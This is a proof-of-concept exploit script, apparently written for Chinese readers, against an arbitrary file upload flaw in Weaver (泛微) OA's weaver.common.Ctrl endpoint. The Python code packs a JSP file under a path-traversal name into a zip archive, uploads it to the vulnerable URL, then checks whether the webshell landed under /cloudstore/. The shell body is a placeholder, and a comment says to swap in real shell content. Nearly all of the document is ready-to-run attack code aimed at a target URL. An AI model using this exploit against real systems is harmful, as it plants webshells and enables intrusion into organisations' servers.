泛微OA weaver.common.Ctrl 任意文件上传漏洞

poc

import zipfile
import random
import sys
import requests



def generate_random_str(randomlength=16):
  random_str = ''
  base_str = 'ABCDEFGHIGKLMNOPQRSTUVWXYZabcdefghigklmnopqrstuvwxyz0123456789'
  length = len(base_str) - 1
  for i in range(randomlength):
    random_str += base_str[random.randint(0, length)]
  return random_str

mm = generate_random_str(8)

webshell_name1 = mm+'.jsp'
webshell_name2 = '../../../'+webshell_name1

def file_zip():
    shell = """测试页面
    """   ## 替换shell内容
    zf = zipfile.ZipFile(mm+'.zip', mode='w', compression=zipfile.ZIP_DEFLATED)
    zf.writestr(webshell_name2, shell)

def GetShell(urllist):
    file_zip()
    print('上传文件中')
    urls = urllist + '/weaver/weaver.common.Ctrl/.css?arg0=com.cloudstore.api.service.Service_CheckApp&arg1=validateApp'
    file = [('file1', (mm+'.zip', open(mm + '.zip', 'rb'), 'application/zip'))]
    requests.post(url=urls,files=file,timeout=60, verify=False)
    GetShellurl = urllist+'/cloudstore/'+webshell_name1
    GetShelllist = requests.get(url = GetShellurl)
    if GetShelllist.status_code == 200:
        print('利用成功webshell地址为:'+GetShellurl)
    else:
        print('未找到webshell利用失败')

def main():
    if (len(sys.argv) == 2):
        url = sys.argv[1]
        GetShell(url)
    else:
        print("python3 poc.py http://xx.xx.xx.xx")

if __name__ == '__main__':
    main()